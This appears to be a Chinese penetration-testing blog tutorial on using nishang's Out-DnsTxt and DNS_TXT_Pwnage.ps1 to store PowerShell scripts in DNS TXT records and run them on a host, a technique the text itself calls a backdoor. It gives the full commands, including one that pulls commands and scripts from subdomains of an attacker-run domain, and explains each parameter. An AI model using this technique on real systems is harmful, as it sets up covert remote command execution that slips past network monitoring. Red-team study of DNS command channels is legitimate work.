0x00簡(jiǎn)介
DNS TXT記錄一般用來(lái)記錄某個(gè)主機(jī)名或者域名設(shè)置的說(shuō)明,在這里可以填寫(xiě)任何東西,長(zhǎng)度限制255。絕大多數(shù)的TXT記錄是用來(lái)做SPF記錄(反垃圾郵件)。本篇文章主要介紹如何使用 nishang 通過(guò)創(chuàng)建TXT記錄執(zhí)行powershell腳本。當(dāng)然,首先你要有一個(gè)域名。
0x01創(chuàng)建TXT記錄
這里需要使用nishang中的一個(gè)腳本 OUT-DnsTxt 。
1.常見(jiàn)命令
因?yàn)槌R?jiàn)命令比較短,所以可以直接添加到TXT記錄中,如下圖:
現(xiàn)在查看一下TXT記錄:
可以看到記錄已經(jīng)成功添加了。
2.腳本
由于TXT記錄長(zhǎng)度限制為255,如果要添加一個(gè)腳本到記錄里面,需要添加多個(gè)TXT記錄。下面是一個(gè)例子,自己寫(xiě)了一個(gè)PSH腳本:
function Get-User { <# .SYNOPSIS Script to generate DNS TXT for a test. .DESCRIPTION Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up. .EXAMPLE PS > Get-User #> [CmdletBinding()] Param () net user }
使用Out-Dnstxt進(jìn)行轉(zhuǎn)換:
PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt
由于這個(gè)腳本比較小,所以只生產(chǎn)兩行:
可以分別將這兩行內(nèi)容按順序添加到 1.ps.domain.com到2.ps.domian.com中如下圖:
查看TXT,可以看到內(nèi)容都已經(jīng)添加好了:
0x02 執(zhí)行Powershell
添加完了TXT記錄以后,通過(guò) DNS_TXT_Pwnage.ps1 來(lái)執(zhí)行這些腳本。
DNS_TXT_Pwnage.ps1 是一個(gè)通過(guò)DNS TXT來(lái)接收命令或者腳本的一個(gè)后門腳本
這里還需要添加兩條記錄,strat與stop,具體如下圖:
1.執(zhí)行命令
PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me - Subdomains 1 -StopString stop
解釋一下參數(shù):
startdomain 為創(chuàng)建的 start.domain ,返回一個(gè)字符串; cmdstring 為任意輸入的字符串; commanddomain 為創(chuàng)建的執(zhí)行命令TXT記錄的域名; psstring 為任意輸入的字符串; psdomain 為創(chuàng)建的執(zhí)行腳本TXT記錄的域名或子域名 ; Subdomains 為執(zhí)行腳本創(chuàng)建TXT記錄的個(gè)數(shù)(如1.2中創(chuàng)建的腳本,該值為2); StopString 為任意輸入的字符串。
新聞熱點(diǎn)
疑難解答
圖片精選